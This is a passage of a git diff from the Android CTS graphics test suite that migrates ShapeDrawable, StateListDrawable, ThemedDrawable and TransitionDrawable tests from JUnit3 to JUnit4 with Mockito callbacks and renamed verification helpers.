         assertNull(shapeDrawable.getPaint().getColorFilter());
     }
 
+    @Test
     public void testSetTint() {
         final ShapeDrawable d = new ShapeDrawable(new RectShape());
         d.setTint(Color.BLACK);
@@ -322,6 +356,7 @@
         assertEquals("Shape is tinted", Color.BLACK, DrawableTestUtils.getPixel(d, 0, 0));
     }
 
+    @Test
     public void testSetDither() {
         ShapeDrawable shapeDrawable = new ShapeDrawable();
 
@@ -332,7 +367,19 @@
         assertFalse(shapeDrawable.getPaint().isDither());
     }
 
-    public void testMutate() {
-        // How to load a ShapeDrawable from resources.
+    @Test
+    public void testMutateGetShape() {
+        ShapeDrawable a = new ShapeDrawable();
+        a.setShape(new OvalShape());
+
+        ShapeDrawable b = (ShapeDrawable) a.getConstantState().newDrawable();
+        assertSame(a.getShape(), b.getShape());
+        a.mutate();
+
+        assertNotNull(a.getShape());
+        assertNotNull(b.getShape());
+        assertTrue(a.getShape() instanceof OvalShape);
+        assertTrue(b.getShape() instanceof OvalShape);
+        assertNotSame(a.getShape(), b.getShape());
     }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawable_ShaderFactoryTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawable_ShaderFactoryTest.java
index b736519..7b170ed 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawable_ShaderFactoryTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawable_ShaderFactoryTest.java
@@ -16,11 +16,31 @@
 
 package android.graphics.drawable.cts;
 
-import junit.framework.TestCase;
-import android.graphics.drawable.ShapeDrawable;
+import static org.junit.Assert.assertNull;
 
-public class ShapeDrawable_ShaderFactoryTest extends TestCase {
+import android.graphics.Shader;
+import android.graphics.drawable.ShapeDrawable.ShaderFactory;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ShapeDrawable_ShaderFactoryTest {
+    @Test
     public void testResize() {
-        // resize is an abstract function.
+        // This is an abstract function, but coverage
+        // complains if we don't call it.
+        ShaderFactory impl = new ShaderFactoryImpl();
+        assertNull(impl.resize(0, 0));
+    }
+
+    private class ShaderFactoryImpl extends ShaderFactory {
+        @Override
+        public Shader resize(int width, int height) {
+            return null;
+        }
     }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/StateListDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/StateListDrawableTest.java
index 2194a00..6499594 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/StateListDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/StateListDrawableTest.java
@@ -16,46 +16,59 @@
 
 package android.graphics.drawable.cts;
 
-import java.io.IOException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
-import android.R.attr;
-import android.content.res.Configuration;
 import android.content.res.Resources;
 import android.content.res.XmlResourceParser;
-import android.graphics.Canvas;
-import android.graphics.ColorFilter;
+import android.graphics.Color;
+import android.graphics.cts.R;
 import android.graphics.drawable.BitmapDrawable;
-import android.graphics.drawable.Drawable;
+import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable.ConstantState;
-import android.graphics.drawable.StateListDrawable;
 import android.graphics.drawable.DrawableContainer.DrawableContainerState;
-import android.test.InstrumentationTestCase;
-import android.util.DisplayMetrics;
+import android.graphics.drawable.StateListDrawable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.StateSet;
 import android.util.Xml;
 
-import android.graphics.cts.R;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
 
+import java.io.IOException;
 
-public class StateListDrawableTest extends InstrumentationTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class StateListDrawableTest {
     private MockStateListDrawable mMockDrawable;
+
     private StateListDrawable mDrawable;
 
     private Resources mResources;
 
     private DrawableContainerState mDrawableContainerState;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
+        // While the two fields point to the same object, the second one is there to
+        // workaround the bug in CTS coverage tool that is not recognizing calls on
+        // subclasses.
         mDrawable = mMockDrawable = new MockStateListDrawable();
         mDrawableContainerState = (DrawableContainerState) mMockDrawable.getConstantState();
-        mResources = getInstrumentation().getTargetContext().getResources();
+        mResources = InstrumentationRegistry.getTargetContext().getResources();
     }
 
+    @Test
     public void testStateListDrawable() {
         new StateListDrawable();
         // Check the values set in the constructor
@@ -63,46 +76,49 @@
         assertTrue(new MockStateListDrawable().hasCalledOnStateChanged());
     }
 
+    @Test
     public void testAddState() {
-        // Workaround for CTS coverage not recognizing calls on subclasses.
-        StateListDrawable dr = mMockDrawable;
-
         assertEquals(0, mDrawableContainerState.getChildCount());
 
         // nothing happens if drawable is null
         mMockDrawable.reset();
-        dr.addState(StateSet.WILD_CARD, null);
+        mDrawable.addState(StateSet.WILD_CARD, null);
         assertEquals(0, mDrawableContainerState.getChildCount());
         assertFalse(mMockDrawable.hasCalledOnStateChanged());
 
         // call onLevelChanged to assure that the correct drawable is selected.
         mMockDrawable.reset();
-        dr.addState(StateSet.WILD_CARD, new MockDrawable());
+        mDrawable.addState(StateSet.WILD_CARD, new ColorDrawable(Color.YELLOW));
         assertEquals(1, mDrawableContainerState.getChildCount());
         assertTrue(mMockDrawable.hasCalledOnStateChanged());
 
         mMockDrawable.reset();
-        dr.addState(new int[] { attr.state_focused, - attr.state_selected }, new MockDrawable());
+        mDrawable.addState(
+                new int[] { android.R.attr.state_focused, - android.R.attr.state_selected },
+                new ColorDrawable(Color.YELLOW));
         assertEquals(2, mDrawableContainerState.getChildCount());
         assertTrue(mMockDrawable.hasCalledOnStateChanged());
 
         // call onLevelChanged will not throw NPE here because the first drawable with wild card
         // state is matched first. There is no chance that other drawables will be matched.
         mMockDrawable.reset();
-        dr.addState(null, new MockDrawable());
+        mDrawable.addState(null, new ColorDrawable(Color.YELLOW));
         assertEquals(3, mDrawableContainerState.getChildCount());
         assertTrue(mMockDrawable.hasCalledOnStateChanged());
     }
 
+    @Test
     public void testIsStateful() {
         assertTrue(new StateListDrawable().isStateful());
     }
 
+    @Test
     public void testOnStateChange() {
-        mMockDrawable.addState(new int[] { attr.state_focused, - attr.state_selected },
-                new MockDrawable());
-        mMockDrawable.addState(StateSet.WILD_CARD, new MockDrawable());
-        mMockDrawable.addState(StateSet.WILD_CARD, new MockDrawable());
+        mMockDrawable.addState(
+                new int[] { android.R.attr.state_focused, - android.R.attr.state_selected },
+                new ColorDrawable(Color.YELLOW));
+        mMockDrawable.addState(StateSet.WILD_CARD, new ColorDrawable(Color.YELLOW));
+        mMockDrawable.addState(StateSet.WILD_CARD, new ColorDrawable(Color.YELLOW));
 
         // the method is not called if same state is set
         mMockDrawable.reset();
@@ -111,7 +127,8 @@
 
         // the method is called if different state is set
         mMockDrawable.reset();
-        mMockDrawable.setState(new int[] { attr.state_focused, - attr.state_selected });
+        mMockDrawable.setState(
+                new int[] { android.R.attr.state_focused, - android.R.attr.state_selected });
         assertTrue(mMockDrawable.hasCalledOnStateChanged());
 
         mMockDrawable.reset();
@@ -119,10 +136,11 @@
         assertTrue(mMockDrawable.hasCalledOnStateChanged());
 
         // check that correct drawable is selected.
-        mMockDrawable.onStateChange(new int[] { attr.state_focused, - attr.state_selected });
+        mMockDrawable.onStateChange(
+                new int[] { android.R.attr.state_focused, - android.R.attr.state_selected });
         assertSame(mMockDrawable.getCurrent(), mDrawableContainerState.getChildren()[0]);
 
-        assertFalse(mMockDrawable.onStateChange(new int[] { attr.state_focused }));
+        assertFalse(mMockDrawable.onStateChange(new int[] { android.R.attr.state_focused }));
         assertSame(mMockDrawable.getCurrent(), mDrawableContainerState.getChildren()[0]);
 
         assertTrue(mMockDrawable.onStateChange(StateSet.WILD_CARD));
@@ -133,20 +151,24 @@
         assertSame(mMockDrawable.getCurrent(), mDrawableContainerState.getChildren()[1]);
     }
 
+    @Test
     public void testOnStateChangeWithWildCardAtFirst() {
-        mMockDrawable.addState(StateSet.WILD_CARD, new MockDrawable());
-        mMockDrawable.addState(new int[] { attr.state_focused, - attr.state_selected },
-                new MockDrawable());
+        mMockDrawable.addState(StateSet.WILD_CARD, new ColorDrawable(Color.YELLOW));
+        mMockDrawable.addState(
+                new int[] { android.R.attr.state_focused, - android.R.attr.state_selected },
+                new ColorDrawable(Color.YELLOW));
 
         // matches the first wild card although the second one is more accurate
-        mMockDrawable.onStateChange(new int[] { attr.state_focused, - attr.state_selected });
+        mMockDrawable.onStateChange(
+                new int[] { android.R.attr.state_focused, - android.R.attr.state_selected });
         assertSame(mMockDrawable.getCurrent(), mDrawableContainerState.getChildren()[0]);
     }
 
+    @Test
     public void testOnStateChangeWithNullStateSet() {
         assertEquals(0, mDrawableContainerState.getChildCount());
         try {
-            mMockDrawable.addState(null, new MockDrawable());
+            mMockDrawable.addState(null, new ColorDrawable(Color.YELLOW));
             fail("Should throw NullPointerException.");
         } catch (NullPointerException e) {
         }
@@ -159,26 +181,28 @@
         }
     }
 
+    @Test
     public void testPreloadDensity() throws XmlPullParserException, IOException {
-        runPreloadDensityTestForDrawable(R.drawable.state_list_density, false);
+        verifyPreloadDensityTestForDrawable(R.drawable.state_list_density, false);
     }
 
+    @Test
     public void testPreloadDensityConstantSize() throws XmlPullParserException, IOException {
-        runPreloadDensityTestForDrawable(R.drawable.state_list_density_constant_size, true);
+        verifyPreloadDensityTestForDrawable(R.drawable.state_list_density_constant_size, true);
     }
 
-    private void runPreloadDensityTestForDrawable(int drawableResId, boolean isConstantSize)
+    private void verifyPreloadDensityTestForDrawable(int drawableResId, boolean isConstantSize)
             throws XmlPullParserException, IOException {
         final Resources res = mResources;
         final int densityDpi = res.getConfiguration().densityDpi;
         try {
-            runPreloadDensityTestForDrawableInner(res, densityDpi, drawableResId, isConstantSize);
+            verifyPreloadDensityTestForDrawableInner(res, densityDpi, drawableResId, isConstantSize);
         } finally {
             DrawableTestUtils.setResourcesDensity(res, densityDpi);
         }
     }
 
-    private void runPreloadDensityTestForDrawableInner(Resources res, int densityDpi,
+    private void verifyPreloadDensityTestForDrawableInner(Resources res, int densityDpi,
             int drawableResId, boolean isConstantSize) throws XmlPullParserException, IOException {
         // Capture initial state at default density.
         final XmlResourceParser parser = getResourceParser(drawableResId);
@@ -205,10 +229,12 @@
         DrawableTestUtils.setResourcesDensity(res, densityDpi / 2);
         final StateListDrawable halfDrawable =
                 (StateListDrawable) preloadedConstantState.newDrawable(res);
+        // NOTE: densityDpi may not be an even number, so account for *actual* scaling in asserts
+        final float approxHalf = (float)(densityDpi / 2) / densityDpi;
         halfDrawable.selectDrawable(0);
-        assertEquals(Math.round(origWidth0 / 2f), halfDrawable.getIntrinsicWidth());
+        assertEquals(Math.round(origWidth0 * approxHalf), halfDrawable.getIntrinsicWidth());
         halfDrawable.selectDrawable(1);
-        assertEquals(Math.round(origWidth1 / 2f), halfDrawable.getIntrinsicWidth());
+        assertEquals(Math.round(origWidth1 * approxHalf), halfDrawable.getIntrinsicWidth());
 
         // Set density to double original.
         DrawableTestUtils.setResourcesDensity(res, densityDpi * 2);
@@ -229,6 +255,7 @@
         assertEquals(origWidth1, origDrawable.getIntrinsicWidth());
     }
 
+    @Test
     public void testInflate() throws XmlPullParserException, IOException {
         XmlResourceParser parser = getResourceParser(R.xml.selector_correct);
 
@@ -243,7 +270,8 @@
         assertTrue(mMockDrawable.hasCalledOnStateChanged());
         assertEquals(2, mDrawableContainerState.getChildCount());
         // check the android:state_* by calling setState
-        mMockDrawable.setState(new int[]{ attr.state_focused, - attr.state_pressed });
+        mMockDrawable.setState(
+                new int[]{ android.R.attr.state_focused, - android.R.attr.state_pressed });
         assertSame(mMockDrawable.getCurrent(), mDrawableContainerState.getChildren()[0]);
         mMockDrawable.setState(StateSet.WILD_CARD);
         assertSame(mMockDrawable.getCurrent(), mDrawableContainerState.getChildren()[1]);
@@ -265,7 +293,8 @@
         //assertNotNull(mDrawableContainerState.getConstantPadding());
         assertTrue(mMockDrawable.hasCalledOnStateChanged());
         assertEquals(1, mDrawableContainerState.getChildCount());
-        mMockDrawable.setState(new int[]{ - attr.state_pressed, attr.state_focused });
+        mMockDrawable.setState(
+                new int[]{ - android.R.attr.state_pressed, android.R.attr.state_focused });
         assertSame(mMockDrawable.getCurrent(), mDrawableContainerState.getChildren()[0]);
         mMockDrawable.setState(StateSet.WILD_CARD);
         assertNull(mMockDrawable.getCurrent());
@@ -278,27 +307,28 @@
         }
     }
 
-    public void testInflateWithNullParameters() throws XmlPullParserException, IOException{
+    @Test(expected=NullPointerException.class)
+    public void testInflateWithNullResources() throws XmlPullParserException, IOException {
         XmlResourceParser parser = getResourceParser(R.xml.level_list_correct);
-        try {
-            mMockDrawable.inflate(null, parser, Xml.asAttributeSet(parser));
-            fail("Should throw XmlPullParserException if resource is null");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            mMockDrawable.inflate(mResources, null, Xml.asAttributeSet(parser));
-            fail("Should throw XmlPullParserException if parser is null");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            mMockDrawable.inflate(mResources, parser, null);
-            fail("Should throw XmlPullParserException if AttributeSet is null");
-        } catch (NullPointerException e) {
-        }
+        // Should throw NullPointerException if resource is null
+        mMockDrawable.inflate(null, parser, Xml.asAttributeSet(parser));
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testInflateWithNullParser() throws XmlPullParserException, IOException {
+        XmlResourceParser parser = getResourceParser(R.xml.level_list_correct);
+        // Should throw NullPointerException if parser is null
+        mMockDrawable.inflate(mResources, null, Xml.asAttributeSet(parser));
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testInflateWithNullAttrSet() throws XmlPullParserException, IOException {
+        XmlResourceParser parser = getResourceParser(R.xml.level_list_correct);
+        // Should throw NullPointerException if AttributeSet is null
+        mMockDrawable.inflate(mResources, parser, null);
+    }
+
+    @Test
     public void testMutate() {
         StateListDrawable d1 =
             (StateListDrawable) mResources.getDrawable(R.drawable.statelistdrawable);
@@ -321,8 +351,7 @@
 
     private XmlResourceParser getResourceParser(int resId) throws XmlPullParserException,
             IOException {
-        XmlResourceParser parser = getInstrumentation().getTargetContext().getResources().getXml(
-                resId);
+        XmlResourceParser parser = mResources.getXml(resId);
         int type;
         while ((type = parser.next()) != XmlPullParser.START_TAG
                 && type != XmlPullParser.END_DOCUMENT) {
@@ -331,6 +360,8 @@
         return parser;
     }
 
+    // Since Mockito can't mock or spy on protected methods, we have a custom extension
+    // of StateListDrawable to track calls to protected onStateChange method.
     private class MockStateListDrawable extends StateListDrawable {
         private boolean mHasCalledOnStateChanged;
 
@@ -349,23 +380,4 @@
             return result;
         }
     }
-
-    private class MockDrawable extends Drawable {
-        @Override
-        public void draw(Canvas canvas) {
-        }
-
-        @Override
-        public int getOpacity() {
-            return 0;
-        }
-
-        @Override
-        public void setAlpha(int alpha) {
-        }
-
-        @Override
-        public void setColorFilter(ColorFilter cf) {
-        }
-    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ThemedDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ThemedDrawableTest.java
index 7c6fe7c..1a3f774 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ThemedDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ThemedDrawableTest.java
@@ -16,31 +16,40 @@
 
 package android.graphics.drawable.cts;
 
-import android.annotation.TargetApi;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
 import android.content.res.Resources.Theme;
 import android.content.res.TypedArray;
 import android.graphics.Color;
 import android.graphics.Rect;
 import android.graphics.Shader.TileMode;
-import android.graphics.drawable.Drawable;
+import android.graphics.cts.R;
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.GradientDrawable;
 import android.graphics.drawable.LayerDrawable;
 import android.graphics.drawable.NinePatchDrawable;
 import android.graphics.drawable.RippleDrawable;
-import android.os.Debug;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.Gravity;
 
-import android.graphics.cts.R;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class ThemedDrawableTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ThemedDrawableTest {
+    private Context mContext;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
         // Workaround for ContextImpl.setTheme() being broken.
         final Theme theme = mContext.getResources().newTheme();
         theme.applyStyle(R.style.Theme_ThemedDrawableTest, true);
@@ -48,19 +57,20 @@
         ctxTheme.setTo(theme);
     }
 
-    @Override
+    @Before
     public void testAndroidTestCaseSetupProperly() {
         final TypedArray t = mContext.obtainStyledAttributes(new int[]{R.attr.themeType});
         assertTrue("Theme was applied correctly", t.getInt(0, -1) == 0);
     }
 
+    @Test
     public void testBitmapDrawable() {
         BitmapDrawable d = (BitmapDrawable) mContext.getDrawable(R.drawable.bitmapdrawable_theme);
 
-        internalTestBitmapDrawable(d);
+        verifyBitmapDrawable(d);
     }
 
-    private void internalTestBitmapDrawable(BitmapDrawable d) {
+    private void verifyBitmapDrawable(BitmapDrawable d) {
         assertEquals(true, d.hasAntiAlias());
         assertEquals(true, d.isAutoMirrored());
         // assertEquals(true, d.hasDither());
@@ -72,12 +82,14 @@
         assertEquals(TileMode.MIRROR, d.getTileModeY());
     }
 
+    @Test
     public void testColorDrawable() {
         ColorDrawable d = (ColorDrawable) mContext.getDrawable(R.drawable.colordrawable_theme);
 
         assertEquals(Color.BLACK, d.getColor());
     }
 
+    @Test
     public void testGradientDrawable() {
         GradientDrawable d = (GradientDrawable) mContext.getDrawable(
                 R.drawable.gradientdrawable_theme);
@@ -122,19 +134,21 @@
         // assertEquals(1.0, d.getStrokeDashGap());
     }
 
+    @Test
     public void testNinePatchDrawable() {
         NinePatchDrawable d = (NinePatchDrawable) mContext.getDrawable(
                 R.drawable.ninepatchdrawable_theme);
 
-        internalTestNinePatchDrawable(d);
+        verifyNinePatchDrawable(d);
     }
 
-    private void internalTestNinePatchDrawable(NinePatchDrawable d) {
+    private void verifyNinePatchDrawable(NinePatchDrawable d) {
         assertEquals(true, d.isAutoMirrored());
         // assertEquals(true, d.hasDither());
         // assertNotNull(d.getNinePatch());
     }
 
+    @Test
     public void testRippleDrawable() {
         RippleDrawable d = (RippleDrawable) mContext.getDrawable(
                 R.drawable.rippledrawable_theme);
@@ -142,6 +156,7 @@
         // assertEquals(Color.BLACK, d.getColor());
     }
 
+    @Test
     public void testLayerDrawable() {
         LayerDrawable d = (LayerDrawable) mContext.getDrawable(R.drawable.layerdrawable_theme);
 
@@ -150,14 +165,9 @@
         assertEquals(true, d.isAutoMirrored());
 
         BitmapDrawable bitmapDrawable  = (BitmapDrawable) d.getDrawable(0);
-        assertEquals(d, bitmapDrawable.getCallback());
-        internalTestBitmapDrawable(bitmapDrawable);
+        verifyBitmapDrawable(bitmapDrawable);
 
         NinePatchDrawable ninePatchDrawable = (NinePatchDrawable) d.getDrawable(1);
-        assertEquals(d, ninePatchDrawable.getCallback());
-        internalTestNinePatchDrawable(ninePatchDrawable);
-
-        Drawable themeDrawable = (Drawable) d.getDrawable(2);
-        assertEquals(d, themeDrawable.getCallback());
+        verifyNinePatchDrawable(ninePatchDrawable);
     }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/TransitionDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/TransitionDrawableTest.java
index c0ef1be..4bb37c3 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/TransitionDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/TransitionDrawableTest.java
@@ -16,150 +16,165 @@
 
 package android.graphics.drawable.cts;
 
-import android.graphics.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
-import android.content.res.Resources;
+import android.content.Context;
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.cts.R;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.TransitionDrawable;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class TransitionDrawableTest extends InstrumentationTestCase {
-    private static final int COLOR1 = 0xff0000ff;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    private static final int COLOR0 = 0xffff0000;
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class TransitionDrawableTest {
+    private static final int COLOR1 = Color.BLUE;
+
+    private static final int COLOR0 = Color.RED;
 
     private static final int CANVAS_WIDTH = 10;
 
     private static final int CANVAS_HEIGHT = 10;
 
+    private Context mContext;
     private TransitionDrawable mTransitionDrawable;
-
     private Bitmap mBitmap;
-
     private Canvas mCanvas;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mTransitionDrawable = (TransitionDrawable) getInstrumentation().getTargetContext()
-                .getResources().getDrawable(R.drawable.transition_test);
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mTransitionDrawable = (TransitionDrawable) mContext.getDrawable(R.drawable.transition_test);
         mTransitionDrawable.setBounds(0, 0, CANVAS_WIDTH, CANVAS_HEIGHT);
 
         mBitmap = Bitmap.createBitmap(CANVAS_WIDTH, CANVAS_HEIGHT, Config.ARGB_8888);
         mCanvas = new Canvas(mBitmap);
     }
 
+    @Test
     public void testConstructor() {
-        Resources resources = getInstrumentation().getTargetContext().getResources();
         Drawable[] drawables = new Drawable[] {
-                resources.getDrawable(R.drawable.testimage),
-                resources.getDrawable(R.drawable.levellistdrawable)
+                mContext.getDrawable(R.drawable.testimage),
+                mContext.getDrawable(R.drawable.levellistdrawable)
         };
         new TransitionDrawable(drawables);
     }
 
+    @Test
     public void testStartTransition() {
-        MockCallBack cb = new MockCallBack();
+        Drawable.Callback cb = mock(Drawable.Callback.class);
         mTransitionDrawable.setCallback(cb);
 
         // start when there is no transition
-        cb.reset();
         mTransitionDrawable.startTransition(2000);
-        assertTrue(cb.hasCalledInvalidateDrawable());
-        assertTransition(COLOR0, COLOR1, 2000);
+        verify(cb, times(1)).invalidateDrawable(any());
+        verifyTransition(COLOR0, COLOR1, 2000);
 
         // start when there is a transition in progress
         makeTransitionInProgress(2000, 1000);
-        cb.reset();
+        reset(cb);
         mTransitionDrawable.startTransition(2000);
-        assertTrue(cb.hasCalledInvalidateDrawable());
-        assertTransition(COLOR0, COLOR1, 2000);
+        verify(cb, times(1)).invalidateDrawable(any());
+        verifyTransition(COLOR0, COLOR1, 2000);
 
         // start when there is a reverse transition in progress
         makeReverseTransitionInProgress(2000, 1000);
-        cb.reset();
+        reset(cb);
         mTransitionDrawable.startTransition(2000);
-        assertTrue(cb.hasCalledInvalidateDrawable());
-        assertTransition(COLOR0, COLOR1, 2000);
+        verify(cb, times(1)).invalidateDrawable(any());
+        verifyTransition(COLOR0, COLOR1, 2000);
 
         // should not accept negative duration
         mTransitionDrawable.startTransition(-1);
     }
 
+    @Test
     public void testResetTransition() {
-        MockCallBack cb = new MockCallBack();
+        Drawable.Callback cb = mock(Drawable.Callback.class);
         mTransitionDrawable.setCallback(cb);
 
         // reset when there is no transition
-        cb.reset();
         mTransitionDrawable.resetTransition();
-        assertTrue(cb.hasCalledInvalidateDrawable());
+        verify(cb, times(1)).invalidateDrawable(any());
 
         // reset when there is a transition in progress
         makeTransitionInProgress(2000, 1000);
-        cb.reset();
+        reset(cb);
         mTransitionDrawable.resetTransition();
-        assertTrue(cb.hasCalledInvalidateDrawable());
-        assertTransitionStart(COLOR0);
-        assertTransitionEnd(COLOR0, 2000);
+        verify(cb, times(1)).invalidateDrawable(any());
+        verifyTransitionStart(COLOR0);
+        verifyTransitionEnd(COLOR0, 2000);
 
         // reset when there is a reverse transition in progress
         makeReverseTransitionInProgress(2000, 1000);
-        cb.reset();
+        reset(cb);
         mTransitionDrawable.resetTransition();
-        assertTrue(cb.hasCalledInvalidateDrawable());
-        assertTransitionStart(COLOR0);
-        assertTransitionEnd(COLOR0, 2000);
+        verify(cb, times(1)).invalidateDrawable(any());
+        verifyTransitionStart(COLOR0);
+        verifyTransitionEnd(COLOR0, 2000);
     }
 
+    @Test
     public void testReverseTransition() {
-        MockCallBack cb = new MockCallBack();
+        Drawable.Callback cb = mock(Drawable.Callback.class);
         mTransitionDrawable.setCallback(cb);
 
         // reverse when there is no transition
-        cb.reset();
         mTransitionDrawable.reverseTransition(2000);
-        assertTrue(cb.hasCalledInvalidateDrawable());
-        assertTransition(COLOR0, COLOR1, 2000);
+        verify(cb, times(1)).invalidateDrawable(any());
+        verifyTransition(COLOR0, COLOR1, 2000);
 
         // reverse after the other transition ends
-        cb.reset();
+        reset(cb);
         mTransitionDrawable.reverseTransition(2000);
-        assertTrue(cb.hasCalledInvalidateDrawable());
-        assertTransition(COLOR1, COLOR0, 2000);
+        verify(cb, times(1)).invalidateDrawable(any());
+        verifyTransition(COLOR1, COLOR0, 2000);
 
         // reverse when there is a transition in progress
         makeTransitionInProgress(2000, 1000);
-        cb.reset();
+        reset(cb);
         mTransitionDrawable.reverseTransition(20000);
-        assertFalse(cb.hasCalledInvalidateDrawable());
+        verify(cb, never()).invalidateDrawable(any());
         int colorFrom = mBitmap.getPixel(0, 0);
-        assertTransition(colorFrom, COLOR0, 1500);
+        verifyTransition(colorFrom, COLOR0, 1500);
 
         // reverse when there is a reverse transition in progress
         makeReverseTransitionInProgress(2000, 1000);
-        cb.reset();
+        reset(cb);
         mTransitionDrawable.reverseTransition(20000);
-        assertFalse(cb.hasCalledInvalidateDrawable());
+        verify(cb, never()).invalidateDrawable(any());
         colorFrom = mBitmap.getPixel(0, 0);
-        assertTransition(colorFrom, COLOR1, 1500);
+        verifyTransition(colorFrom, COLOR1, 1500);
 
         // should not accept negative duration
         mTransitionDrawable.reverseTransition(-1);
     }
 
-    public void testDrawWithNUllCanvas() {
-        try {
-            mTransitionDrawable.draw(null);
-            fail("The method should check whether the canvas is null.");
-        } catch (NullPointerException e) {
-        }
+    @Test(expected=NullPointerException.class)
+    public void testDrawWithNullCanvas() {
+        mTransitionDrawable.draw(null);
     }
 
     //  This boolean takes effect when the drawable is drawn and the effect can not be tested.
+    @Test
     public void testAccessCrossFadeEnabled() {
         assertFalse(mTransitionDrawable.isCrossFadeEnabled());
 
@@ -170,30 +185,30 @@
         assertFalse(mTransitionDrawable.isCrossFadeEnabled());
     }
 
-    private void assertTransition(int colorFrom, int colorTo, long delay) {
-        assertTransitionStart(colorFrom);
-        assertTransitionInProgress(colorFrom, colorTo, delay / 2);
-        assertTransitionEnd(colorTo, delay);
+    private void verifyTransition(int colorFrom, int colorTo, long delay) {
+        verifyTransitionStart(colorFrom);
+        verifyTransitionInProgress(colorFrom, colorTo, delay / 2);
+        verifyTransitionEnd(colorTo, delay);
     }
 
-    private void assertTransitionStart(int colorFrom) {
-        mBitmap.eraseColor(0x00000000);
+    private void verifyTransitionStart(int colorFrom) {
+        mBitmap.eraseColor(Color.TRANSPARENT);
         mTransitionDrawable.draw(mCanvas);
-        assertColorFillRect(mBitmap, 0, 0, CANVAS_WIDTH, CANVAS_HEIGHT, colorFrom);
+        verifyColorFillRect(mBitmap, 0, 0, CANVAS_WIDTH, CANVAS_HEIGHT, colorFrom);
     }
 
-    private void assertTransitionInProgress(int colorFrom, int colorTo, long delay) {
+    private void verifyTransitionInProgress(int colorFrom, int colorTo, long delay) {
         drawAfterDelaySync(delay);
-        assertColorNotFillRect(mBitmap, 0, 0, CANVAS_WIDTH, CANVAS_HEIGHT, colorFrom);
-        assertColorNotFillRect(mBitmap, 0, 0, CANVAS_WIDTH, CANVAS_HEIGHT, colorTo);
+        verifyColorNotFillRect(mBitmap, 0, 0, CANVAS_WIDTH, CANVAS_HEIGHT, colorFrom);
+        verifyColorNotFillRect(mBitmap, 0, 0, CANVAS_WIDTH, CANVAS_HEIGHT, colorTo);
     }
 
-    private void assertTransitionEnd(int colorTo, long delay) {
+    private void verifyTransitionEnd(int colorTo, long delay) {
         drawAfterDelaySync(delay);
-        assertColorFillRect(mBitmap, 0, 0, CANVAS_WIDTH, CANVAS_HEIGHT, colorTo);
+        verifyColorFillRect(mBitmap, 0, 0, CANVAS_WIDTH, CANVAS_HEIGHT, colorTo);
     }
 
-    private void assertColorFillRect(Bitmap bmp, int x, int y, int w, int h, int color) {
+    private void verifyColorFillRect(Bitmap bmp, int x, int y, int w, int h, int color) {
